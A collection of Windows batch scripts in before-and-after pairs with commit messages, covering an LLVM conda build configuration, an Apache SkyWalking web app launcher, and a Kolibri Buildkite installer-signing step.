set "CMAKE_GENERATOR[2]=Visual Studio 16 2019%ARCH_POSTFIX%"
set MAX_INDEX_CMAKE_GENERATOR=2

REM the platform toolset host arch is set to x64 so as to use the 64bit linker,
REM the 32bit linker heap is too small for llvm8 so it tries and falls over to
REM the 64bit linker anyway
set PreferredToolArchitecture=x64

REM Reduce build times and package size by removing unused stuff
REM BENCHMARKS (new for llvm8) don't build under Visual Studio 14 2015
set CMAKE_CUSTOM=-DLLVM_TARGETS_TO_BUILD="%LLVM_TARGETS_TO_BUILD%" ^
    -DLLVM_INCLUDE_TESTS=OFF -DLLVM_INCLUDE_UTILS=ON -DLLVM_INCLUDE_DOCS=OFF ^
    -DLLVM_INCLUDE_EXAMPLES=OFF -DLLVM_ENABLE_ASSERTIONS=ON ^
    -DLLVM_USE_INTEL_JITEVENTS=ON -DLLVM_TEMPORARILY_ALLOW_OLD_TOOLCHAIN=ON ^
    -DLLVM_INCLUDE_BENCHMARKS=OFF ^
    -DLLVM_EXPERIMENTAL_TARGETS_TO_BUILD=WebAssembly

REM try all compatible visual studio toolsets to find one that is installed
setlocal enabledelayedexpansion
for /l %%n in (0,1,%MAX_INDEX_CMAKE_GENERATOR%) do (
    cmake -G "!CMAKE_GENERATOR[%%n]!" -Thost=%PreferredToolArchitecture%^
        -DCMAKE_BUILD_TYPE="%BUILD_CONFIG%" -DCMAKE_PREFIX_PATH="%LIBRARY_PREFIX%" ^
        -DCMAKE_INSTALL_PREFIX:PATH="%LIBRARY_PREFIX%" %CMAKE_CUSTOM% "%SRC_DIR%"
    if not errorlevel 1 goto configuration_successful
    del CMakeCache.txt
)

REM no compatible visual studio toolset was found
exit 1

:configuration_successful
endlocal
REM === Build step ===
cmake --build . --config "%BUILD_CONFIG%"
if errorlevel 1 exit 1

REM === Install step ===
cmake --build . --config "%BUILD_CONFIG%" --target install
if errorlevel 1 exit 1

REM From: https://github.com/conda-forge/llvmdev-feedstock/pull/53
"%BUILD_CONFIG%\bin\opt" -S -vector-library=SVML -mcpu=haswell -O3 "%RECIPE_DIR%\numba-3016.ll" | "%BUILD_CONFIG%\bin\FileCheck" "%RECIPE_DIR%\numba-3016.ll"
if errorlevel 1 exit 1

REM This is technically how to run the suite, but it will only run in an
REM enhanced unix-like shell which has functions like `grep` available.
REM cd ..\test
REM "%PYTHON%" "..\build\%BUILD_CONFIG%\bin\llvm-lit.py" -vv Transforms ExecutionEngine Analysis CodeGen/X86
REM if errorlevel 1 exit 1

mkdir build
cd build

set BUILD_CONFIG=Release

REM === Configure step ===

REM allow setting the targets to build as an environment variable
if "%LLVM_TARGETS_TO_BUILD%"=="" (
    set "LLVM_TARGETS_TO_BUILD=host;AMDGPU;NVPTX"
)
if "%ARCH%"=="32" (
    set "ARCH_POSTFIX="
) else (
    set "ARCH_POSTFIX= Win64"
)
set "CMAKE_GENERATOR[0]=Visual Studio 14 2015%ARCH_POSTFIX%"
set "CMAKE_GENERATOR[1]=Visual Studio 15 2017%ARCH_POSTFIX%"
set "CMAKE_GENERATOR[2]=Visual Studio 16 2019"
set MAX_INDEX_CMAKE_GENERATOR=2

REM the platform toolset host arch is set to x64 so as to use the 64bit linker,
REM the 32bit linker heap is too small for llvm8 so it tries and falls over to
REM the 64bit linker anyway
set PreferredToolArchitecture=x64

REM Reduce build times and package size by removing unused stuff
REM BENCHMARKS (new for llvm8) don't build under Visual Studio 14 2015
set CMAKE_CUSTOM=-DLLVM_TARGETS_TO_BUILD="%LLVM_TARGETS_TO_BUILD%" ^
    -DLLVM_INCLUDE_TESTS=OFF -DLLVM_INCLUDE_UTILS=ON -DLLVM_INCLUDE_DOCS=OFF ^
    -DLLVM_INCLUDE_EXAMPLES=OFF -DLLVM_ENABLE_ASSERTIONS=ON ^
    -DLLVM_USE_INTEL_JITEVENTS=ON -DLLVM_TEMPORARILY_ALLOW_OLD_TOOLCHAIN=ON ^
    -DLLVM_INCLUDE_BENCHMARKS=OFF ^
    -DLLVM_EXPERIMENTAL_TARGETS_TO_BUILD=WebAssembly

REM try all compatible visual studio toolsets to find one that is installed
setlocal enabledelayedexpansion
for /l %%n in (0,1,%MAX_INDEX_CMAKE_GENERATOR%) do (
    cmake -G "!CMAKE_GENERATOR[%%n]!" -Thost=%PreferredToolArchitecture%^
        -DCMAKE_BUILD_TYPE="%BUILD_CONFIG%" -DCMAKE_PREFIX_PATH="%LIBRARY_PREFIX%" ^
        -DCMAKE_INSTALL_PREFIX:PATH="%LIBRARY_PREFIX%" %CMAKE_CUSTOM% "%SRC_DIR%"
    if not errorlevel 1 goto configuration_successful
    del CMakeCache.txt
)

REM no compatible visual studio toolset was found
exit 1

:configuration_successful
endlocal
REM === Build step ===
cmake --build . --config "%BUILD_CONFIG%"
if errorlevel 1 exit 1

REM === Install step ===
cmake --build . --config "%BUILD_CONFIG%" --target install
if errorlevel 1 exit 1

REM From: https://github.com/conda-forge/llvmdev-feedstock/pull/53
"%BUILD_CONFIG%\bin\opt" -S -vector-library=SVML -mcpu=haswell -O3 "%RECIPE_DIR%\numba-3016.ll" | "%BUILD_CONFIG%\bin\FileCheck" "%RECIPE_DIR%\numba-3016.ll"
if errorlevel 1 exit 1

REM This is technically how to run the suite, but it will only run in an
REM enhanced unix-like shell which has functions like `grep` available.
REM cd ..\test
REM "%PYTHON%" "..\build\%BUILD_CONFIG%\bin\llvm-lit.py" -vv Transforms ExecutionEngine Analysis CodeGen/X86
REM if errorlevel 1 exit 1

remove ARCH from VS2019 generator name

remove ARCH from VS2019 generator name

For VS2019 cmake has changed the generator naming convention


@REM
@REM  Licensed to the Apache Software Foundation (ASF) under one or more
@REM  contributor license agreements.  See the NOTICE file distributed with
@REM  this work for additional information regarding copyright ownership.
@REM  The ASF licenses this file to You under the Apache License, Version 2.0
@REM  (the "License"); you may not use this file except in compliance with
@REM  the License.  You may obtain a copy of the License at
@REM
@REM      http://www.apache.org/licenses/LICENSE-2.0
@REM
@REM  Unless required by applicable law or agreed to in writing, software
@REM  distributed under the License is distributed on an "AS IS" BASIS,
@REM  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@REM  See the License for the specific language governing permissions and
@REM  limitations under the License.

@echo off

setlocal
set WEBAPP_PROCESS_TITLE=Skywalking-Webapp
set WEBAPP_HOME=%~dp0%..
set JARPATH=%WEBAPP_HOME%\webapp
set WEBAPP_LOG_DIR=%WEBAPP_HOME%\logs

if exist "%WEBAPP_LOG_DIR%" (
    mkdir "%WEBAPP_LOG_DIR%"
)

set LOG_FILE_LOCATION=%WEBAPP_LOG_DIR%\webapp.log

if defined JAVA_HOME (
 set _EXECJAVA="%JAVA_HOME%\bin\java"
)

if not defined JAVA_HOME (
 echo "JAVA_HOME not set."
 set _EXECJAVA=java
)

start "%WEBAPP_PROCESS_TITLE%" %_EXECJAVA%  -jar %JARPATH%/skywalking-webapp.jar --spring.config.location=%JAR_PATH%/webapp.yml --logging.file=%LOG_FILE_LOCATION%
endlocal

@REM
@REM  Licensed to the Apache Software Foundation (ASF) under one or more
@REM  contributor license agreements.  See the NOTICE file distributed with
@REM  this work for additional information regarding copyright ownership.
@REM  The ASF licenses this file to You under the Apache License, Version 2.0
@REM  (the "License"); you may not use this file except in compliance with
@REM  the License.  You may obtain a copy of the License at
@REM
@REM      http://www.apache.org/licenses/LICENSE-2.0
@REM
@REM  Unless required by applicable law or agreed to in writing, software
@REM  distributed under the License is distributed on an "AS IS" BASIS,
@REM  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@REM  See the License for the specific language governing permissions and
@REM  limitations under the License.

@echo off

setlocal
set WEBAPP_PROCESS_TITLE=Skywalking-Webapp
set WEBAPP_HOME=%~dp0%..
set JARPATH=%WEBAPP_HOME%\webapp
set WEBAPP_LOG_DIR=%WEBAPP_HOME%\logs

if exist "%WEBAPP_LOG_DIR%" (
    mkdir "%WEBAPP_LOG_DIR%"
)

set LOG_FILE_LOCATION=%WEBAPP_LOG_DIR%\webapp.log

if defined JAVA_HOME (
 set _EXECJAVA="%JAVA_HOME%\bin\java"
)

if not defined JAVA_HOME (
 echo "JAVA_HOME not set."
 set _EXECJAVA=java
)

start "%WEBAPP_PROCESS_TITLE%" %_EXECJAVA%  -jar %JARPATH%/skywalking-webapp.jar --spring.config.location=%JARPATH%/webapp.yml --logging.file=%LOG_FILE_LOCATION%
endlocal

Update webappService.bat (#1460)

Update webappService.bat (#1460)

Fix #1435


@echo off
rem This will download the Kolibri windows installer artifact at the windows-2016 buildkite agent.
rem After the installer successfully sign it will upload the signed installer at the Sign Windows installer pipeline artifact.
rem To sign the Windows installer set the `SIGN_WINDOWS_INSTALLER=true` environment variable.

IF NOT "%SIGN_WINDOWS_INSTALLER%" == "true" (GOTO DONT_SIGN)

set current_path=%cd%
buildkite-agent.exe artifact download "dist/*.exe" . --step "Build kolibri windows installer" --build %BUILDKITE_BUILD_ID% --agent-access-token %BUILDKITE_AGENT_ACCESS_TOKEN%
%WINDOWS_SIGN_SCRIPT_PATH% "%current_path%\dist" && cd "%current_path%\installer\" && buildkite-agent.exe artifact upload "*.exe"
GOTO END

:DONT_SIGN
echo Set the SIGN_WINDOWS_INSTALLER=true environment variable to sign the Windows installer.

:END

@echo off
rem This will download the Kolibri windows installer artifact at the windows-2016 buildkite agent.
rem After the installer successfully sign it will upload the signed installer at the Sign Windows installer pipeline artifact.
rem To sign the Windows installer set the `SIGN_WINDOWS_INSTALLER=true` environment variable.

IF NOT "%SIGN_WINDOWS_INSTALLER%" == "true" (GOTO DONT_SIGN)

set current_path=%cd%
buildkite-agent.exe artifact download "dist/*.exe" . --step "Build Windows installer" --build %BUILDKITE_BUILD_ID% --agent-access-token %BUILDKITE_AGENT_ACCESS_TOKEN%
%WINDOWS_SIGN_SCRIPT_PATH% "%current_path%\dist" && cd "%current_path%\installer\" && buildkite-agent.exe artifact upload "*.exe"
GOTO END

:DONT_SIGN
echo Set the SIGN_WINDOWS_INSTALLER=true environment variable to sign the Windows installer.

:END

Change windows installer signing script based on the current step name